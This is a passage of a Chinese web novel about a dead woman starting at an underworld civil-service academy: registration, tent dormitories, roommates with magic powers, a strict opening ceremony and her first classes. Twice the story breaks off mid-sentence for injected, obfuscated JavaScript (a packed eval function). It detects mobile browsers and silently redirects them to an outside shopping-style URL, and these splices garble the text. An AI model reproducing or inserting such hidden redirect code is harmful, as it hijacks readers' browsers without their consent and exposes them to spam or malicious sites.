“没关系,我们经费很紧张,医疗室一直都建不起来呢!多谢你为学院做贡献!”登记职工笑着挥挥手,这真是一件双赢的大好事呀! 行李终于被允许进门,祝平安也顺利的登了记。等走出了新生登记的范围,白子欣脸上的眼泪瞬间就消失不见了。他抹了把脸:“刚刚真是谢谢你了,怪不得人家说,一起蹲过局子的人交情最铁,现在我们又可以算是一起同过窗了,我们的情谊一定是铁上加铁!是超级合金不锈钢!从今后你就是我最好的朋友了。” 都什么乱七八糟的!中二少年就是中二少年……祝平安翻个白眼没接茬,“还没问你是怎么回事呢,你怎么也到琢玉学院来啦?” “嗨,那天在审讯室,那个差役说我也不小了,今后我做事得考虑后果,不能让家人担心,我觉得他说的对。”白子欣抓了抓蓬乱的头发,“不瞒你说,我妈对我实在是太好了,每天她都会在我的灵位前供上一日三餐,时新的零食游戏,我下来二十多年,她一天都没间断过。我之前每天就在家里看漫画打游戏,从来都没工作过,即使死了,也还是靠着妈妈养活。” “等妈妈来跟我团聚了,我们俩又该怎么办呢?肯定不会有人这么供奉我们母子俩了,所以我想,我不能再这么家里蹲下去了,得出来找工作!总不能让我妈下来了还继续打工养我呀!” “第二天我去公共安全部拿我被扣押的周边,正好又碰上那个差役,我就跟他说了我的反省,他夸我有这种想法很好,给了我一张推荐书,让我来考试了。” 什么!那个张松鹤,他不会是给所有经手过的游魂都发了一封推荐书吧!还都夸他们有才能!祝平安风中凌乱了。 “我本来还有挺有信心的,别看我这样,其实我的记忆力很好的哦!什么东西我看一遍就能记住!”白子欣夸耀了,“虽说我死的时候只有十六岁,但是已经上了两年大学啦!” 好吧,我不应该怀疑张松鹤的,这小子居然是少年天才型的,确实说得上有才能。祝平安默默地熄火了。 “我第二天就给我妈托了梦,让她帮我买些资料回来。但我考试的时候,一看到题目就抓狂啦!客观题部分倒都会做,主观题部分什么破题哦,居然要用文言文答卷子,我哪里会呀!交通事故那题还能胡诌几句,作文部分只好交白卷了!” “本来以为根本考不上了,谁知最后出成绩一看,我59分,居然正好是第两万名,这不就也来这边上学了吗。对了,你是怎么来的?” 祝平安也跟白子欣说了一遍自己的经历,还顺便交流了彼此对二次元的看法,越说越觉得投机。两人一边说着,一边去找金毛毛汇合,一齐往宿舍区走去。见到祝平安又带来了一个需要她帮助的人类,金毛毛更加高兴了。 嘿呦嘿呦地拉着板车(白子欣根本抢不过他),热情的金毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837480|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛又给两人介绍了许多信息。 “人类的大学是分学院的,琢玉学院这里是分部门管理的。大家不都是拿到了推荐书才能进行考试的么,比如我拿到的就是应急管理部的推荐书,所以我就要去应急管理部报道,你们俩去公共安全部报道。” “包括我们学的课程也是跟部门挂钩的,每个部门都有特色课程,跟大学里的专业必修课差不多,听说我们应急管理部就有气象观测课,税务部的要上金融审计。不过也有一些公共必修课是大家一起上的,据说校长还会亲自带一门公共必修课呢!” “因为时间仓促,所以一些后勤设施都没来得及建起来。现在只有一个食堂而已,幸好我们是游魂不用上厕所,否则这里就不是学校,变成堆肥场啦!洗漱也只能在泉水里解决了,以食堂为分界,男女各用一眼泉水,建议你们选择离泉水近一点的帐篷,这样洗漱时就不用排长队了。” “学校已经同意我自带一顶帐篷了,我就不参与选宿舍了。你先带她去选宿舍好了。”白子欣跟金毛毛说了一下自己的情况,“只不过我身上根本没有帐篷,还得去买一顶。平安姐,我的行李能先托你保管吗?我把自己的帐篷搭好再来拿。” 这倒不是什么大事,祝平安点头答应了,两人约好七点在食堂门口碰头,白子欣急匆匆地返回大门口叫出租去了。 宿舍区遍地都是花花绿绿的帐篷,每个帐篷上都悬挂着编号,最小的大概能装下四个人,最多的还是那种军绿色的制式帐篷,一看就是军队使用的,里面大概能装个二十来人。祝平安没兴趣跟那么多人一起挤着,所幸这会儿来的还算早,宿舍区人不多,还可以尽情挑选,选好了床位之后跟宿管员说一声就行。 要靠近教学楼、靠近泉水、居住人数要少……本着一路上金毛毛传授的挑宿舍要诀,祝平安很快就锁定了编号为1601的帐篷,掀帘子进去一看,空的!这下床位也可以随便挑选了。 本着大学时候住宿的经验,祝平安选择了最里面的上铺,这张床最暖。登记了自己的床位后,金毛毛帮她把板车拉进宿舍里,算是安顿了下来。 作为雄性,金毛毛不能长期待在女宿舍,祝平安满怀不舍地把金毛毛送到了女宿舍区门口,两人并肩而行,金毛毛那毛绒绒的大尾巴时不时地蹭到祝平安的小腿,痒酥酥的。 “那么,祝平安同学,我们就再见了,您赶快回去收拾东西吧。”金毛毛很有礼貌地道别了。 看着那可爱的笑容和乌溜溜的大眼睛,想到马上就要与他分别,可自己还没有摸到他的毛呢!绒毛控祝平安的心肝都扭曲成一团了,看着触手可得的毛绒绒就要离她而去,她颤颤巍巍的伸出手来: “可、可以摸一下吗?” “?”金毛毛歪头了。 “就是……如果不冒犯的话,我想摸一下你的尾巴……”因为你实在是太可爱了啊!祝平安在心中呐喊。 圆圆的大眼睛一眨一眨,金毛毛笑了。 强行压下心中的喜悦以及快要摇起来的尾巴,金毛毛决定利用美色来达到自己的目的了。 “如果您答应我一个条件的话,就可以随便摸哦。”一脸纯良地说出了这样的话,金毛毛用大尾巴轻轻扫过祝平安的小腿。 “我答应我答应!”话音没落,祝平安已经忍不住如狼似虎地扑了上来,用极其纯熟的撸狗手法rua金毛毛的大尾巴。 “呜嗷……”金毛毛也开心地小声叫起来(其实这货最喜欢别人摸他了)。 啊……像云朵一样蓬松松的,像巧克力一样丝滑滑的,世界上怎么会有这么好摸的东西呢!祝平安把大尾巴抱在怀里,根本舍不得丢开。 然后,很快她就知道了什么叫撸狗一时爽,后续火葬场。头上戴着同样写了志愿者三个字的小红帽,跟金毛毛一起站在大门口接待新学员,祝平安悔不当初了。 原来你要我答应的条件,就是加入你的志愿者协会做副会长吗!你这个一肚子心眼的坏小狗! 12. 住校生活 就在祝平安和金毛毛一起在学校大门口“志愿服务”的时候,另一边,街镇行政部的帐篷下,却陷入了一片寂静。不论学员还是职工,都两眼发直口唇微张,一副痴痴傻傻不知道身在何处的表情。 就在一分钟前,一名头脸包的严严实实活像通缉犯的学员来此登记,负责登记的职工根本看不见他的脸,便要求他必续摘掉帽子口罩才能通过核验。 “我是怕引起不必要的麻烦。”那学员倒是温声细语的,围观群众立刻觉得他不是什么坏人了。 “能引起什么麻烦?”登记职工很坚持,“再说了,难道你在宿舍睡觉也要包成这样?” 似乎被这句话打动,那学员犹豫片刻,扬起手,轻轻摘下了帽子口罩。 刹那间,一头柔顺至极的青丝如瀑布般垂了下来,仅在发尾束着两指宽的青罗发带,色如乌木,光可鉴人。几缕青丝随风飘摇,拂动着男子明净的前额,只见他肌肤白皙如玉,眼瞳皎皎如星,眉如墨画,唇如点朱,整个人恍若玉树芝兰,晕然生光,气度温润,风华一如谪仙人。 被这天人般的美貌正面冲击,登记人员目瞪口呆了! “请问现在能给我登记了吗?”等了一分钟还没见登记人员回过神来,绝色美人温柔地询问了,“后面还有好多同学等着呢,我们不要耽误大家的时间呀。” 不,你随便耽误,其实我不登记了也可以,只要能在后面围观你就行——这一刻,身后的围观群众的心声莫名其妙的一致了。 “哦,好,登记……”登记职工晕陶陶的,从桌子上抓起一个什么东西就递给这位美男子,“请签字。” 美男子却站着没动,他蹙起眉头,对着登记人员绽开了一个无奈的浅笑。 那是怎样的一笑啊,恍如繁花齐绽,恍如冰涧初融,登记职工的神志彻底粉碎了:美男子对我笑了!他他他他莫非对我有意思? “您给我的不是笔,我怎么签字呢?”美男子的声音也好美,跟唱歌一样,真好听,登记人员傻乎乎地低头一看,囧! 他刚刚递给美男子的是一个水杯! 手忙脚乱了一通,美男子终于签字登记了,对登记人员优雅至极地行了一个颔首礼,美男子风中仙鹤一般翩然远去了。 真的是,好美的人啊……周边几个部门的队伍也都顾不上登记了,只是遥遥目送着美男子远去的背影。不少女学员都脸红红地想:这个美男子就是街镇行政部的吗?这个部门的运气也太好了吧,真的令人嫉妒!……我现在申请换到街镇行政部还来不来得及? 恋恋不舍地收回目光,排在美男子背后的学员也走上前登记。一眼扫到了登记人员还没来得及收起的名册,他轻轻地念道:“温尔雅?” “原来这个美男子名叫温尔雅。”街镇行政部的同学立刻展开讨论了。 “噢噢!这名字真好听,果然美丽的人浑身上下都是完美的!” “接下来半年我就要跟他做同学吗?真是太幸福了,不枉我拼死拼活考到前两万名……” 也有人提出疑惑:“温尔雅?怎么这名字这么耳熟?” 很快,就有一些记忆力好的同学想起来了:“温尔雅!那不是这次考试的第一名吗?居然是我们街镇行政部的!” 人长得好看,居然成绩还这么优秀!美男子身上的光环无限加大,都快跟太阳肩并肩了! 一个性急的学员立刻冲到前面了:“麻烦先给我登记!” “啊!你真狡猾!”另一个女生愤愤不平了,“你就是想要快点登记,然后尾随美男子是不是!休想得逞!我明明是在你前面的,给我先登记!” 被两个人的口角打开了思路,周边几个帐篷的队伍立刻都乱了!人们一窝蜂地往前挤,刚刚秩序井然的景象一去不复返。 “我先!” “滚啊!明明是我!” 为了得到追随美男子而去的权利,登记处前开展了一场大混战,正如温尔雅所说引起了不必要的麻烦。混战直到校保卫处来维持秩序才算罢休,经此一役,许多学生在开学前就结下了梁子,直到他们毕业,彼此的关系也丝毫没有好转。果然,美色是祸水。 晨曦微露,大门前的新生逐渐少了,金毛毛这才放过了祝平安,宣布今天的志愿活动到此结束。今天帮助118个人提了行李,祝平安累的连饭都不想吃,要不是记着还得和白子欣碰面,她真想立刻回宿舍去倒下,再也不起来了。 恹恹地走到食堂,随便叫了一碗面,祝平安打算边吃边等白子欣。一想到这面条其实是食安巡检部负责质量检测的差役煮的,祝平安本来不抱任何希望,没想到一口下去,嗯?还挺好吃的。 其实面点这个东西,最需要精准的食材配比了,跟做实验也没什么区别。负责质量检测的差役也算专业对口,按照食谱掏出试管跟称量机,举重若轻地就把面给做了,味道保证跟食谱一模一样。 一边吃着面,祝平安在脑子里盘算着一会要做的事情了:帮白子欣安顿下来后,还得回去铺床;还有,也得写封信给家里寄去,免得里奥担心,不知道学校的邮寄点在哪呢?要是暂时还没开通邮路的话,只好拜托袁大叔,看看他每天买菜的时候能不能顺便帮忙寄信…… 正想着,白子欣也进来了,他背着一个大包,一屁股坐在祝平安对面,一看就累得不轻。 “我跑了五家店,才算买到这么一个帐篷。”白子欣吐槽,“据说整个羊城都卖断货了,都是我们学校把帐篷买空了,我好不容易才在二手货品店淘到一个。” “能买到就不错了,要不然你晚上没的睡才惨呢。”祝平安吐槽,“走吧,跟我去搬东西。” “平安姐,你有人性吗?我累得要死了,起码让我吃点东西!”白子欣走到窗口前打了一碗饭两个小炒,大大咧咧坐下来就开吃。 然后,他吐了。 果然,文艺协会来体验生活的副会长,炒菜能靠谱吗!幸好我刚刚没点炒菜……祝平安把白子欣抗出门外拍后背,满心庆幸。 吐过之后的白子欣死活也不打算再吃食堂的东西了,决定以后还是吃自家老妈的供奉,并盛情邀请祝平安跟他一起吃。 祝平安心说这怎么好意思,她把白子欣一路扛到男宿舍区的边缘,大概圈了一块地,把白子欣留下搭帐篷,自己赶快回宿舍去拿白子欣的行李。 现在是游魂们休息的时间,女宿舍区娇声笑语,明显大家都已经在宿舍歇下了。祝平安走到1601门前,一掀帘子,立刻被里头涌出来的暖香气息包围了。 “哦!我们最后一个室友回来了!”说话的是个寸头女,身高差不多有一米八,正在举哑铃锻炼肱二头肌,小臂微微一弯曲,胳膊上的肌肉在身上团团流动,看起来一拳能打死一头牛。 “哟,原来是那个志愿者呀?”另一个瓜子脸姑娘从上铺探出头来,她细眉琼鼻,容貌颇美,眼珠子骨 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瓜子脸姑娘叫做叶霆霓,司法部的学员,生前是茅山派的女冠(女道士)。她的亡龄居然是108岁,据她说生前修炼有所小成,故而青春复还,可惜没能真正超脱生死。 寸头女叫做林四梅,亡龄37岁,武装部的学员,生前就是军人,死后也没有改行。 得知祝平安只有27岁,几个室友都不由分说地把她当成妹妹来照顾,听说祝平安还要把板车拖到男宿舍,林四梅当仁不让地站出来,要陪她一起去。 “拉板车就当是锻炼了,正好还可以帮你的忙,省的我还要舞弄哑铃。”林四梅轻轻松松地拉着板车,看得出好像都没用多少力气。 “你们去吧,我跟桂姐姐帮平安铺床~”叶霆霓也给自己揽了点活。 桂中秋看祝平安不好意思,笑道:“快去吧,以后要一起住上半年,互相照顾的时候有的是呢!下次遇到事情记得照顾姐姐们就是了。” “快去快回哦,明天还要早起参加开学典礼呢,今天大家要早点睡!” 运气真不错,室友们个个都很好!祝平安领着林四梅,心情愉快的把行李带到了白子欣的帐篷旁边,结果到那里一看,这四肢不勤五谷不分的家里蹲,到现在还没把帐篷搭起来呢! “还是我来吧。” 林四梅当仁不让地伸出援手,她不愧是军人出身,搭这种帐篷是行家里手。三下五除二间,一顶牢固的帐篷就搭建完成了! 两人帮着白子欣把行李拖进帐篷里,白子欣千恩万谢地掏出来一盒小蛋糕:“谢谢姐姐们!这是我妈刚刚供上的玛德琳蛋糕,据说是正宗法国厨子做的呢,你们也尝尝!” “那就不客气啦!”林四梅一看也是被食堂菜摧残的不轻,一闻到那蛋糕的香气,也不推却几句,就拿过来捻起一块往嘴里送,“往日从军的时候,也算是什么都吃过了,像今天食堂那么难吃的菜还从没见过,我晚上几乎什么都没吃!多谢你的蛋糕,要不,今天就得饿着肚子睡觉啦。” “以后吃不下食堂的菜,尽管到我这里来!”白子欣拍胸脯了,“我还自带了锅具,有空来我宿舍吃火锅!” “好呀好呀!一定过来!” 告别了白子欣,两人回到自己的宿舍,祝平安的床铺已经整理好了,见到她们回来,叶霆霓就催着大家去洗澡了:“去晚了就没位置啦,桂姐姐已经先去占位了,咱们也快走吧!” 13. 开学大典 洗漱的地方是一眼天然山泉,自山巅倾泄而下,沿着山势冲刷出七八个颇大的跌宕水潭,潭平如镜,清可见底,宛然就是几个天然的澡堂。此时水潭里已经满是女孩子,互相泼水闲话,笑语盈盈,不绝如缕。 “这儿!”桂中秋远远看见他们过来,连忙招手,她果然占了个好位置,潭水侧山石掩映,绿草葳蕤,形成了一个颇为安静的小空间。林四梅带头脱了衣服,噗通一声跳下水,叶霆霓也笑嘻嘻地去解纽扣。 祝平安是漠北长大,对于大澡堂子什么的早就适应了,毫不扭捏地脱衣入浴,羊城四季如春,此时潭水温度正合适,让人不由得精神一振,整天帮人搬行李的疲劳都消除了。 澡堂子一向是能够拉近距离的好地方,几人一边擦洗身子,一边开心地交流一些美体话题了。 “四梅姐的身材真好,要练习多久才能有这么健壮的肌肉啊?”祝平安羡慕地看着林四梅壮实的腹肌,悄悄在水下摸摸自己的肚皮:都是软肉。 “三分练七分吃,每天除了锻炼就要多吃肉,蛋白质跟上了肌肉自然就出来了。”林四梅在水潭上仰泳,肚皮朝天像是浮尸。“锻炼的话,每天早上起来跑个一万米吧,上午格斗训练,下午负重越野,不到一个月保证你一身腱子肉!” “啊?这个我暂时可吃不消。”祝平安悻悻然了。 “要什么腱子肉啊?其实你现在的身材就挺好,不胖也不瘦,最健康了。”叶霆霓从水下钻出来,“太多肌肉的话,可不讨男孩子喜欢哦!” “我管他们喜欢什么。”祝平安把头发盘在头顶,“这年头靠天靠地不如靠自己,一身腱子肉,跟人吵架底气都要足些。尤其是以后我要去公共安全部工作,没个好身板,谁肯把你放在眼里?” “这话说得对,光讨男人喜欢有什么用。”桂中秋已经洗够了,裹着毛巾坐在岸边一块大石头上,把腿垂下来泡脚,“平安不像是你我,她若要有自保之能,必须好好打熬筋骨才行,日后遇上个奸贼匪类,也好有一战之力不是。” “这么说,你跟霆霓都有自保的能力了?”祝平安好奇了,“都有什么能力,法术吗?让我看看嘛!” 桂中秋眨眨眼,对祝平安一笑,祝平安只觉得一阵香风袭来,眼前便是一花。再回头,周边人群居然都不见了,岸边站着一个人,仔细一看,这、这人不是自己最喜欢的明星胡鸽吗! 春草深处,芳气袭人,胡鸽白衣翩翩,向着祝平安的方向走来,伸出手,温声询问:“姑娘,为何如此盯着我看?” 祝平安的脸腾一下就红了,她激动地站起身去拉胡鸽的手,连自己没穿衣服都忘了,“您,您怎么在——哎?” 就在祝平安碰到胡鸽手掌的一瞬间,眼前的胡鸽突然化作万点光斑破碎一地,自己手里只剩下一把草。祝平安茫然转头,水潭边的人突然又都回来了,叶霆霓指着她,笑的腰都直不起来。 “一定见到自己最喜欢的人了吧?”桂中秋笑吟吟地,“其实本可以让你多享受一会儿的,只是怕你大庭广众做些不雅动作……” 原来是幻术! 祝平安崇拜极了,这就是妖族的异能吗?声音、容貌、触感无不那么真实,简直比最拟真的乙女游戏还要让人心动啊!倘若用在实战之中,不论是让敌人见到亲朋好友来骗取对方信任,还是让他们见到千军万马来挫其胆气,都能起到奇兵之效! “雕虫小技罢了,影响的时间和范围都有限,对于一些心志坚定之人根本起不了作用,我平常都很少用,比不上霆霓修炼的正统道术。”桂中秋摆摆手谦逊道。 祝平安又把期待的目光转向叶霆霓了,叶霆霓却摇摇头,“这是水潭,我修习的是雷法,不好施展,弄不好就变成电鱼了!” 雷法?是雷电系法术的意思吗?听起来就好威武好霸气,要是她也能学会,岂不是所向无敌啦? “能教我吗?”祝平安星星眼。 叶霆霓遗憾地摇摇头:“这可不行,倒不是我藏私,只是观你面相,与我无师徒之缘,即使我强行教了你也学不会。” “别想那么多了,她们那些玄学的东西就不是人类能学会的!”林四梅哗啦一声从水潭里翻身起来,“明天开始跟我学军体拳吧,就这个还实在些。” “走啦走啦,明早七点就要举行开学典礼,赶快回去睡吧。” 日上三竿,祝平安悄悄探出头来,林四梅和叶霆霓都睡熟了,她蹑手蹑脚爬到下铺桂中秋的身边,伏在她耳旁说了几句话。 桂中秋听得捂嘴轻笑:“就这样就满足了吗?要不要多来几个?” “多来几个也可以吗?那我还要张国容、吴偃祖、霍剑华……” 月上西山,刚刚六点,外面就传来了大喇叭的声音:“各位学员,请到大操场集合,开学典礼将在七点举行,请各位学员以部门为单位站好,不要迟到。各位学员……” 伴着喇叭声,祝平安神清气爽地起床了,从她嘴边的笑意来看,应该是经历了平生最满意的一个梦境。叶霆霓把脑袋插在枕头里继续睡,桂中秋正在摇她起床。林四梅起得最早,都已经出去跑完一万米了,还去食堂打包了肉包子和豆浆,带回来给大家当早饭。 桂中秋不吃肉,只喝了一杯豆浆,叶霆霓拖拖拉拉懒了半小时床,最后起来时根本来不及吃东西了。祝平安吃了两个包子一杯豆浆就饱了,确定其他人都不吃了以后,林四梅玩一样的把剩下的六个包子跟两杯豆浆倒进嘴里,连个饱嗝都不打。 “不能浪费。”林四梅气定神闲。 果然,女壮士的身材也不是白来的,都是吃出来的。祝平安敬畏地看着林四梅,决定从明天起自己也要向她看齐,吃六个包子……额,有点困难,还是循序渐进一点,先从三个开始吧。 六点半,大操场上,魏玄成已经率领着几名人力资源署的官员站上了主席台。操场上,各部门的负责人已经举着牌子在操场上站好了,陆陆续续有学员来到操场,找到自己的部门对应的区域站好,一边走路还一边闲聊,嗡嗡地说话声像是菜市场一样。 六点五十九分,操场上大约只站满了四分之三的学员,远处还能看到一些学员打着哈欠正从宿舍区赶来。魏玄成掏出一只秒表倒数,60、59、……3、2、1。 七点整,他抄起喇叭,威严地说了一句:“停止入场。” 他话音刚落,大操场门前突然竖起一道半透明的红色结界,还没走到操场的学员一愣,连忙狂奔起来,但无一例外都被拦在了结界外,有人不死心的想要硬闯,只听屏障上红光一闪,直接把强闯者弹了出去。 “请各部门点名,统计自己部没有入场的学员,扣他们5分的平时分。” “平时分?什么意思?”底下的学员议论纷纷了。 魏玄成气定神闲抄起喇叭:“各位学员大家好,鄙人是琢玉学院的校长魏玄成,也是人力资源署的署长。作为校长,诸位在校期间由鄙人负责管理;毕业之后,各位的岗位也由鄙人来安排。” 可以决定学员去留,绝对不能得罪的人物——所有学员都秒懂了。 “现在我来宣布你们的第一条校规:学员的总成绩由两部分组成,平时分与结业考试成绩。平时分为倒扣分制,每人初始都有一百分,当行为不谨时,你们的老师有权扣分。平时分与结业考试绩均需高于60分,否则不得毕业,取消录用资格!大家进入琢玉学院后,一切重头开始,即使在之前的笔试考到第一名,最终成绩不及格,也是完全不能毕业的!” 冷冷地扫过台下哗然的学生,魏玄成强调:“当然,若在校表现好,老师就会给你们加平时分,政府雇员职级共有十二级,十二级为最低。在毕业时,平时分高的考生,职级也就更高,最高可以直接定为九级!” 这样看来,扣五分平时分就很肉疼了,被拦在操场外的学员忍不住了: “这不公平!” “是啊!之前没有人告诉我们迟到要扣平时分的,不告而罚,怎能服众?” “这位同学问得好。”魏玄成身侧,一个戴眼镜穿白袍的青年男子接过了话头:“还有人跟他有一样想法的吗?” 下面的学员不吭声,但许多人都面有不平之色,包括已经及时进场的同学都似有微词,以为这种不告而罚的做法不太合适。 “啊,你们不敢出声附和,但我从你们的脸上都看出来了。”白袍男子冷嘲道:“念在这是第一次见面,我就大发慈悲解释一番,让你们死个明白吧。” “平时分,是什么分?平时表现分,平时印象分,平时行为分,大概就是这个意思。”黑袍男子的眼镜闪过一丝冷光,“简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837482|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的说,也就是周围的人对你的行为做出的评价。” “生活在世界上的每一天,大家都会受到这种无形、却又确实存在的评判。你打翻一杯茶,别人认为你毛手毛脚,你给老奶奶让座,别人认为你有爱心。你的一举一动,共同构成了你这个人的外在形象,亲切的、刻薄的、善良的、虚伪的……” “诸位,你们是本次招考选出的人才,未来要走入地府各部,也要走入千家万户,服务鬼民。你的每一句话、每个举动、都会落在有心人的眼里,他们对你印象的好坏,直接影响着他们的态度。他人是否配合你工作?是否对你有戒心?能不能服从你的安排?愿不愿意在职权范围内为你行方便?” “这种印象是难以量化的,当你做出不合适的行为时,周边的人会提醒你‘我要扣你的分了’吗?有谁对你有告而罚吗?他们只会冷淡你、孤立你、放弃你、用含混不清的笑容敷衍你,乃至是排挤你、拖你出去背黑锅,而你甚至还迷迷糊糊,不知道自己哪里出错了呢!” 台下有不少学员开始点头了,尤其是林四梅这种生前工作过的学员非常有共鸣。 “诸位迟到的学员,在广播已经三番四次地提醒下,你们有谁是不知道七点要集合的呢?之所以迟到,除了懒散、拖拉、不把规矩放在眼里,我想不出有其他的解释。又怎么能怪别人觉得你懒散不靠谱,要扣你的平时分呢?” 被拦在屏障外的学员羞愧地低下头去,没人再敢出声了。叶霆霓也在心里感谢桂中秋了,要不是桂中秋把她叫起来,她恐怕这会也要被扣平时分了。 “差役们要为群众服务,要维系地府的秩序,怎能如此散漫!琢玉学院平时分的存在,就是为了用一种可视化的方式来提醒大家,无时无刻都要端正态度,有错就改。你们是未来的差役,无论是学习态度、工作态度、乃至与人交往的态度,都不容许有一丝一毫瑕疵,一个糟糕的平时分,会让你的道路从一开始就难上加难,甚至——它会证明你根本不具备差役应有的素质。” “记住,琢玉学院开设的目的,就是要将你们培养成专业过硬、效率第一、严于律己、稳重可靠、勇于担责、心系民众的差役。诸位,我不管你们起初来考试的目的是什么,也不管你们想要成为怎么样的差役,我只负责将你们这些璞玉统统打磨成地府所需要的样子。” “专业过硬、效率第一、严于律己、稳重可靠、勇于担责、心系民众……”不少学员喃喃地跟着念诵,咀嚼着这几个词所包含的意思,他们的表情都变得严肃了,一种特别的东西随着这几个词,流进了他们的心里。 “最后再向大家介绍一下我自己,本人是琢玉学院的常务副校长谢必安,负责考核大家的平时分,希望大家能从今天的事情学到教训,不要再因为扣平时分的问题闹到我跟前来,我的讲话完毕了。” 操场上已经是鸦雀无声,随着谢必安讲话完毕,刚刚乱成一团的学员已经不知不觉间自觉地排好了队,虽说队列歪歪扭扭,但也让看台上的魏玄成微微点了点头。 “谢副校长刚刚的讲话非常好,说出了我们琢玉学院的宗旨。”一个笑靥温柔的黑衣青年从谢必安手中接过喇叭,温柔地总结,“我是另一位常务副校长,名叫范无咎,接下来我来为大家说一下结业成绩的事情。” “我们学院不设班级,大家的课表都不一样,一会儿大家会领到自己的课程表,按照上面的安排上课就好。每门课都需要考试。考试形式由授课老师决定,外考一门实地研修,考察大家把在校期间所学知识运用到实际的能力。同样,每门课程都必须及格,否则不得毕业,希望大家好好学习,不要挂科。” 看着范无咎副校长把喇叭交还魏玄成,还等着听长篇大论的学员们一时间有点懵:哎?这就完事了?领导讲话还有这么短的? “果然不愧是范副校长,一贯是言简意赅,效率惊人。”魏玄成接过喇叭:“各位学员,我们也要提升效率,大家都是聪明人,不准打架、不准作弊、服从管理之类的话鄙人就不说了。你们只有一个任务,就是顺利毕业。鄙人很期待能在工作中见到诸位。” “无论最终结果如何,都希望大家能够享受这段学习的时光,多结交朋友,多做思考,不要辜负自己的生命。” “现在,鄙人宣布,琢玉学院正式开学!” 14. 差役的必修课 秋高气爽九月天,大雁南归,晴空一片,在这样美好的天气里,最应该做的就是去郊外登高赏景,最不该做的就是坐在教室里,听早已作古的老头子讲述几个朝代前的故纸堆…… 温暖的秋阳亲吻着祝平安的额头,祝平安翻着书,只觉得纸上的小字直打转,两只眼睛不知不觉就合上了。 “祝平安!” “到!” 祝平安一惊,腾地一下站起来,险些把桌子给带倒,她心惊胆战地抬头一看,教历代文字课的纪先生正虎着脸站在她眼前。 “祝平安,你来解释一下我刚刚讲的这段文章是什么意思,答不出来的话扣你平时分!” 刚刚……刚刚她睡着了,哪里知道先生讲了什么呀!祝平安脸上顶着睡出来的红印,低头一看自己的课本,发现自己的口水已经把这页纸都打湿了,不由得更是窘迫。 “是这一句。” 旁边坐着的叶霆霓好心地把课本递过来,祝平安对她感激地一笑,又赶紧低头看书。 “玉不琢,不成器,人不学,不知义。”祝平安念诵着,暗暗庆幸三字经自己还是会一点的,“意思就是说,一块美玉如果没有经过雕琢,就不能成为可用之器,人不努力学习,就不能够通晓道理。” “解释的不错。”纪先生摇头晃脑,“我再问你,知行合一,笃行致远,何解?” 祝平安低声道:“学会知识之后,也要在实践中应用知识,言行一致、表里如一,才能够成就大事。” 先生的脸色好看了一点:“祝平安,你既然什么都知道,为什么不能做到?学习的机会是多么宝贵,上课睡觉,把大好光阴白白浪费,这样做应该吗?” “子不学,非所宜,幼不学,老何为?诸位学员,琢玉学员为何名为琢玉啊?正是因为你们都是璞玉之资,琢玉学院开设的目的,就是为了把你们这些璞玉打磨成器。要知道你们不光是为了自己在学习,更是为了我地府万千游魂而学习,你们的水平越高,我们的社会就越和谐,你们要珍惜光阴,雕琢自身,方能当大任,整天想着睡觉偷懒,那可不行!” 纪先生罗里吧嗦的教导终于告一段落,他挥手叫祝平安坐下,继续带领大家诵读《三字经》。虽说这是儿童开蒙用的读本,可纪先生认为学员就应该打好基础,再说以现代学员的普遍水平,三字经对他们来说都略显深奥了。 祝平安忧郁地托着腮,心不在焉地跟着先生读书。硕士好不容易毕业之后,她觉得自己再也不会踏进学校一步,怎么也没想到,死后她再次走进了学校……或者说是集中营。 身为公共安全部的未来差役,她的课表上有八门课,其中五门是公共必修课,分别是《历代文字》、《地府官制与法治》、《六道轮回详解》、《各族日常用语》、还有一门实训课:送魂鸟驾驶。 另外三门则是专业必修课:《侦查学》、《公共安全管理》,和实训课:实战格斗。 看得出来,这份课表是想要在半年内把她速成为一个能接刑事、能做民事、能搞接待、能做后勤的十项开花选手,随之而来的就是山大的课业压力。 从早上七点到晚上九点,一天十四个小时满满当当,午休只有一小时,刚够吃一顿饭。晚上回去又要写作业,每周只休息一天,时间安排的像是高考冲刺一样,比之前备考还累!毕竟,这跟备考那种囫囵吞枣不一样,每门课的深度和广度大得多,想要学精学透,还是非常难的。 不过,课业压力虽大,但学习知识本身还是很有一些乐趣的。袁大叔并没骗她,好钢用在刀刃上,琢玉学院的师资力量可真是老豪华老豪华的。 譬如教导《历代文字》的,是训诂学大家纪晓岚先生,他学问很渊博,可惜为人是个老古板,讲课的声线实在催眠,搞得学员们上课时候老想打瞌睡。但因为地府的管理者都是写古文字的,所以这门课不管怎么样也不能落下。 这门课的重点主要是小篆、隶书、楷书,其中小篆和隶书需要会读,楷书要求会写,好在古文字中有一半的字跟简体字差不多,也不要求必须用毛笔写,否则只怕祝平安光这一门课就要学半年。即使是这样她也不轻松,每天加练最多的就是这门课。 教《六道轮回详解》的,则是大名鼎鼎的目莲罗汉,是个恬淡的青年和尚,气度慈悲。这门课没有课本,只是大家在月下的大操场上,围着目莲团团而坐,聆听他的讲解,每次目莲罗汉讲到动情之处,地面都会涌出万朵莲花,引得好多学员都要悄悄带手机去,好给这唯美的一幕拍照呢。 祝平安本以为六道就是六个平行世界,妖族都是动物修炼而成的,可听了目莲罗汉的讲解才知道,满不是那么回事,世界是唯一的,所谓六道,其实只是生命不同的际遇而已。 